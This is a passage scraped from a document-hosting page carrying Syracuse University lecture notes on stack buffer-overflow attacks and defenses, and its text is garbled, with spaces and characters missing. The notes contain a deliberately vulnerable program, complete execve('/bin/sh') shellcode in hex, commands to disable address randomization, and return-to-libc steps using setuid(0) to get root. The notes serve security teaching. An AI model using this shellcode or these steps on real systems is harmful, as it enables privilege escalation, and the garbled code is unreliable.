return1 intmainintargccharargv charstr517 FILEbadfile badfilefopenbadfiler freadstrsizeofchar517badfile funcstr printfReturnedProperlyn return1 Itisnotsodif ID: 131524
Download Pdf The PPT/PDF document "LectureNotes(SyracuseUniversity)Buffer-O..." is the property of its rightful owner. Permission is granted to download and print the materials on this web site for personal, non-commercial use only, and to display it on your personal computer provided you do not modify the materials and that you retain all copyright notices contained in the materials. By downloading content from our website, you accept the terms of this agreement.
LectureNotes(SyracuseUniversity)Buffer-OverowVulnerabilitiesandAttacks:3 return1; } intmain(intargc,char**argv) { charstr[517]; FILE*badfile; badfile=fopen("badfile","r"); fread(str,sizeof(char),517,badfile); func(str); printf("ReturnedProperly\n"); return1; } Itisnotsodifculttoseethattheaboveprogramhasabufferoverowproblem.Theprogramrstreadsaninputfromalecalledbadle,andthenpassesthisinputtoanotherbufferinthefunctionbof().Theoriginalinputcanhaveamaximumlengthof517bytes,butthebufferinbof()hasonly12byteslong.Becausestrcpy()doesnotcheckboundaries,bufferoverowwilloccur.Ifthisprogramisrunningasaset-root-uidprogram,anormalusercanexploitthisbufferoverowvulnerabilityandtakeovertherootprivileges.2.3ExploittheBuffer-OverowVulnerabilityTofullyexploitastackbuffer-overowvulnerability,weneedtosolveseveralchallengingproblems.Injectingthemaliciouscode:Weneedtobeabletoinjectthemaliciouscodeintothememoryofthetargetprocess.Thiscanbedoneifwecancontrolthecontentsofthebufferinthetargetedprogram.Forexample,intheaboveexample,theprogramgetstheinputfromale.Wecanstorethemaliciouscodeinthatle,anditwillbereadintothememoryofthetargetedprogram.Jumpingtothemaliciouscode:Withthemaliciouscodealreadyinthememory,ifthetargetedprogramcanjumptothestartingpointofthemaliciouscode,theattackerwillbeincontrol.Writingmaliciouscode:Writingamaliciouscodeisnottrivial.Wewillshowhowaspecialtypeofmaliciouscode,shellcode,canbewritten.2.4InjectingMaliciousCodeWiththebufferoverowvulnerabilityintheprogram,wecaneasilyinjectmaliciouscodeintothememoryoftherunningprogram.Letusassumethatthemaliciouscodeisalreadywritten(wewilldiscusshowtowritemaliciouscodelater).Intheabovevulnerableprogram,theprogramreadsthecontentsfromthele"badfile",andcopythecontentstobuffer.Therefore,wecansimplystorethemaliciouscode(inbinaryform)inthe"badfile",thevulnerableprogramwillcopythemaliciouscodetothebufferonthestack(itwilloverowthebuffer). LectureNotes(SyracuseUniversity)Buffer-OverowVulnerabilitiesandAttacks:6 Line10:movb$0x0b,%al Line11:int$0x80#invokeexecve(name[0],name,0) Afewplacesinthisshellcodeareworthmentioning:First,thethirdinstructionpushes//sh,ratherthan/shintothestack.Thisisbecauseweneeda32-bitnumberhere,and/shhasonly24bits.Fortunately,//isequivalentto/,sowecangetawaywithadoubleslashsymbol.Second,beforecallingtheexecve()systemcall,weneedtostorename[0](theaddressofthestring),name(theaddressofthearray),andNULLtothe%ebx,%ecx,and%edxregisters,respec-tively.Line5storesname[0]to%ebx;Line8storesnameto%ecx;Line9sets%edxtozero.Thereareotherwaystoset%edxtozero(e.g.,xorl%edx,%edx);theone(cdq)usedhereissimplyashorterinstruction:itcopiesthesign(bit31)ofthevalueintheEAXregister(whichis0atthispoint)intoeverybitpositionintheEDXregister,basicallysetting%edxto0.Third,thesystemcallexecve()iscalledwhenweset%alto11,andexecuteint$0x80.Ifweconverttheaboveshellcodeintobinarycode,andstoreitinanarray,wecancallitfromaCprogram: #includestdl;ib.h; #includestdi;o.h0; constcharcode[]= "\x31\xc0"/*Line1:xorl%eax,%eax*/ "\x50"/*Line2:pushl%eax*/ "\x68""//sh"/*Line3:pushl$0x68732f2f*/ "\x68""/bin"/*Line4:pushl$0x6e69622f*/ "\x89\xe3"/*Line5:movl%esp,%ebx*/ "\x50"/*Line6:pushl%eax*/ "\x53"/*Line7:pushl%ebx*/ "\x89\xe1"/*Line8:movl%esp,%ecx*/ "\x99"/*Line9:cdq*/ "\xb0\x0b"/*Line10:movb$0x0b,%al*/ "\xcd\x80"/*Line11:int$0x80*/ ; intmain(intargc,char**argv) { charbuf[sizeof(code)]; strcpy(buf,code); ((void(*)())buf)(); } LectureNotes(SyracuseUniversity)Buffer-OverowVulnerabilitiesandAttacks:8 intcanaryWord=secret; charbuffer[12]; /*Thefollowingstatementhasabufferoverflowproblem*/ strcpy(buffer,str); if(canaryWord==secret)//Returnaddressisnotmodified return1; else//Returnaddressispotentiallymodified {...errorhandling...} } staticintsecret;//aglobalvariable intmain(intargc,char**argv) { //getRandomNumberwillreturnarandomnumber secret=getRandomNumber(); charstr[517]; FILE*badfile; badfile=fopen("badfile","r"); fread(str,sizeof(char),517,badfile); func(str); printf("ReturnedProperly\n"); return1; } 3.3OperatingSystemApproachAddressSpaceRandomization:Guessingtheaddressesofthemaliciouscodeisoneofthecriticalstepsofbuffer-overowattacks.Ifwecanmaketheaddressofthemaliciouscodedifculttopre-dict,theattackcanbemoredifcult.SeveralLinuxdistributionshavealreadyusedaddressspacerandomizationtorandomizethestartingaddressofheapandstack.Thismakesguessingtheexactaddressesdifcult.Thefollowingcommands(canonlyrunbyroot)enableordisabletheaddressspacerandomization.#sysctl-wkernel.randomize_va_space=2//EnableRandomization#sysctl-wkernel.randomize_va_space=0//DisableRandomizationUnfortunately,in32-bitmachines,evenifthetheaddressesarerandomized,theentropyisnotlargeenoughagainstrandomguesses.Inpractice,ifyoutrymanytimes,yourchanceofsuccessisquitehigh.OurexperiencehasshownthatafewminutesoftriesareenoughtosucceedinaIntel2GHzmachine. LectureNotes(SyracuseUniversity)Buffer-OverowVulnerabilitiesandAttacks:10 itcorrectly,wecanforcethetargetprogramtorunsystem("/bin/sh"),whichbasicallylaunchesashell.Challenges.TosucceedintheReturn-to-libcattack,weneedtoovercomethefollowingchallenges:Howtondthelocationofthefunctionsystem?Howtondtheaddressofthestring"/bin/sh"?Howtopasstheaddressofthestring"/bin/sh"tothesystemfunction?4.1Findingthelocationofthesystemfunction.InmostUnixoperatingsystems,thelibclibraryisalwaysloadedintoaxedmemoryaddress.Tondouttheaddressofanylibcfunction,wecanusethefollowinggdbcommands(leta.outisanarbitraryprogram): $gdba.out (gdb)bmain (gdb)r (gdb)psystem $1={variable,nodebugtext;-600;info}0x9b4550syst;m00; (gdb)pexit $2={variable,nodebugtext;-600;info}0x9a9b70xit; Fromtheabovegdbcommands,wecanndoutthattheaddressforthesystem()functionis0x9b4550,andtheaddressfortheexit()functionis0x9a9b70.Theactualaddressesinyoursys-temmightbedifferentfromthesenumbers.Wecallalsousefunctionsdlopenanddlsymtondouttheaddresslocationofalibcfunction: #include lfc;n.h0; #defineLIBCPATH"/lib/libc.so.6"/*onFedora*/ void*libh,*sys; if((libh=dlopen(LIBCPATH,RTLD_NOW))==NULL){ //reporterror } if((sys=dlsym(libh,"system"))==NULL){ //reporterror } printf("system@%p\n",sys); 4.2Findingtheaddressof/bin/sh.Therearemanywaystondtheaddressofsuchastring: LectureNotes(SyracuseUniversity)Buffer-OverowVulnerabilitiesandAttacks:12 } intmain() { foo(1); return0; } Wecanuse"gcc-Sfoobar.c"tocompilethisprogramtotheassemblycode.Theresultinglefoobar.swilllooklikethefollowing: ...... 8foo: 9pushl%ebp 10movl%esp,%ebp 11subl$8,%esp 12movl8(%ebp),%eax 13movl%eax,4(%esp) 14movl$.LC0,(%esp):string"Helloworld:%d\n" 15callprintf 16leave 17ret ...... 21main: 22leal4(%esp),%ecx 23andl$-16,%esp 24pushl-4(%ecx) 25pushl%ebp 26movl%esp,%ebp 27pushl%ecx 28subl$4,%esp 29movl$1,(%esp) 30callfoo 31movl$0,%eax 32addl$4,%esp 33popl%ecx 34popl%ebp 35leal-4(%ecx),%esp 36ret CallingandEnteringfoo().Letusconcentrateonthestackwhilecallingfoo().Wecanignorethestackbeforethat.Pleasenotethatlinenumbersinsteadofinstructionaddressesareusedinthisexplanation.Line28-29::Thesetwostatementspushthevalue1,i.e.theargumenttothefoo(),intothestack.Thisoperationincrements%espbyfour.ThestackafterthesetwostatementsisdepictedinFig-ure1(a). LectureNotes(SyracuseUniversity)Buffer-OverowVulnerabilitiesandAttacks:14 Line32:addl$4,%esp:Furtherresotrethestackbyreleasingmorememoriesallocatedforfoo.Asyoucanclearlyseethatthestackisnowinexactlythesamestateasitwasbeforeenteringthefunctionfoo(i.e.,beforeline28).Settinguptheframeforsystem().FromLines9and10,wecanseethattherstthingthatafunctiondoesistopushthecurrent%ebpvaluetostack,andthensettheregister%ebptothetopofthestack.Althoughweseethisfromourexamplefunctionfoo(),otherfunctionsbehavethesame,includingthosefunctionsinlibc.Therefore,withineachfunction,afterexecutingthersttwoinstructions,%ebppointstothetheframepointerofthepreviousframe,(%ebp+4)pointstothereturnaddress,andthelocationabovethereturnaddressshouldbewheretheargumentsarestored.Forfunctionsystem(),(%ebp+8)shouldbetheaddressofthestringpassedtothefunction.Therefore,ifwecangureoutwhatthestackpointer%esppointstoafterreturnningfromfoo(),wecanputthetheaddressofthestring"/bin/sh"tothecorrectplace,whichis(%esp+4).Forexample,inFigure1(d),ifwewantthefunctionfootoreturntosystem,weshouldputthestartingaddressoffunctionsystemat%esp-4(0xbfffe75c),areturnaddressat%esp(0xbfffe760)andtheaddressofthestring"/bin/sh"at(%esp+4)(0xbfffe764).Ifwewantthefunctionsystem()toreturntoanotherfunction,suchasexit(0),wecanusethestartingaddressoffunctionexit()asthereturnaddressofsystem,andputitin0xbfffe760.Note:Detailsofhowtosetuptheframeforsystem()areintentionallyleftout.Studentsareaskedtoworkonalab,inwhichtheyneedtogureoutallthedetailsofthereturn-to-libcattack.Wedonotwantthislecturenotetogivestudentsallthedetails.4.4Protectionin/bin/bashIfthe"/bin/sh"ispointedto"/bin/bash",evenifwecaninvokeashellwithinaSet-UIDprogramthatisrunningwiththerootprivilege,wewillnotgettherootprivilege.ThisisbecausebashautomaticallydowngradesitsprivilegeifitisexecutedintheSet-UIDrootcontext;However,therearewaystogetaroundthisprotectionscheme.Although/bin/bashhasrestrictiononrunningSet-UIDprograms,itdoesallowtherealroottorunshells.Therefore,ifwecanturnthecurrentSet-UIDprocessintoarealrootprocess,beforeinvoking/bin/bash,wecanbypassthatrestrictionofbash.Thesetuid(0)systemcallcanhelpyouachievethat.Therefore,weneedtorstinvokesetuid(0),andtheninvokesystem("/bin/sh");allofthesecanbedoneusingtheReturn-to-libcmechanism.Basically,weneedtoreturntolibctwice.Werstletthetargetprogramtoreturntothesetuidfunctioninlibc.Whenthisfunctionreturns,itwillfetchthereturnaddressfromthestack,andjumptothataddress.Ifwecanletthisreturnaddresspointtosystem,wecanforcethefunctionsetuidtoreturntotheentrypointofsystem.Wehavetobeverycarefulwhenconductingthisprocess,becausewehavetoputtheappropriateargumentsintherightplaceofthestack.5Heap/BSSBufferOverowContentsinHeap/BSSConstantstringsGlobalvariables